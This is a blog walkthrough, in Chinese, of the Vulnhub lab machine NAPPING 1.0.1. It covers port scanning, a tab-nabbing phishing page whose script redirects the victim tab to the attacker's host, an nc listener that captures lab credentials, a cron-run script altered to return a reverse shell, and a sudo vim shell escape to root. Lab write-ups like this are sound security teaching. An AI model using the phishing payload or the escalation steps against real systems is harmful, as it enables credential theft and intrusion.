2021-12-06 15:24阅读: 1307评论: 16推荐: 1

Vulnhub 靶场 NAPPING: 1.0.1

前期准备:

靶机地址:https://www.vulnhub.com/entry/napping-101,752/

kali攻击机ip:192.168.11.129
靶机地址:192.168.11.137

一、信息收集

1.使用nmap对靶机进行端口扫描

nmap -A -p 1-65535 192.168.11.137

image

发现开放了22和80端口。

2.收集80页面的信息

image

发现是个登录界面,还可以注册,先注册一个账户试试:

image

注册完成后登录进去:

image

发现有个输入框,看样子是提交连接,随便写入一个地址试试:

image

提交之后再点击 Here 会跳转到你输入的连接:

image

查看源代码,发现站点上的此特定 URL 链接功能容易受到 Tab Nabbing 的攻击

image

二、漏洞攻击

1.钓鱼

知道了使用 Tab Nabbing 攻击后,我们先做个钓鱼界面,首先先复制登录界面:

image

接下来,我们构建我们的恶意 html (sain.html)界面:

<!DOCTYPE html>
<html>
<body>
<script>
if(window.opener) window.opener.parent.location.replace('http://192.168.11.129:8000/index.html');
if(window.opener != window) window.opener.parent.location.replace('http://192.168.11.129:8000/index.html');
</script>
</body>
</html>

把自己复制的 index.php 和 sain.html 页面放到 /var/www/html 下,并且开启 python3-http 服务,开的 80 端口,和 sain.html 中的端口区分开:

image

监听恶意 html 中的 8000 端口, nc -lvvp 8000 在靶机的提交连接界面提交 python3-http 服务下的 sain.html 地址:

image

image

点击提交即可,等了一会监听的 8000 端口返回了数据包:

image

靶机中设定的隔几分钟就会用用户登录,此时我们获取了数据包

username=daniel
password=C@ughtm3napping123

得到了用户名和密码,我们可以通过ssh进行登录。

2.ssh登录

image

查看一下用户信息:

image

可以看到 daniel 是管理员组的一部分。

使用 find 我们可以查找任何我们可以使用命令访问的有趣文件

find / -group administrators -type f 2>/dev/null

image

查看一下 query.py 文件:

image

根据site_status.txt文件,它似乎每 2 分钟执行一次:

image

三、提权

我们需要先跳转到 adrian 用户,所以我们继续在 /dev/shm 目录中创建一个反向 shell bash 脚本:

image

直接运行的话还是 daniel 用户,我们需要更改一下 query.py 这个个脚本来让他定时反弹shell:

image

nc 监听,等了一会得到反向shell:

image

获得 adrian 用户,查看以下权限:

image

发现可以再没有在没有密码的情况下以 root 身份运行 vim ,那就直接写入 Vim-shell

sudo /usr/bin/vim -c ':!/bin/sh'

image

得到root:

image

posted @   sainet  阅读(1307)  评论(16编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起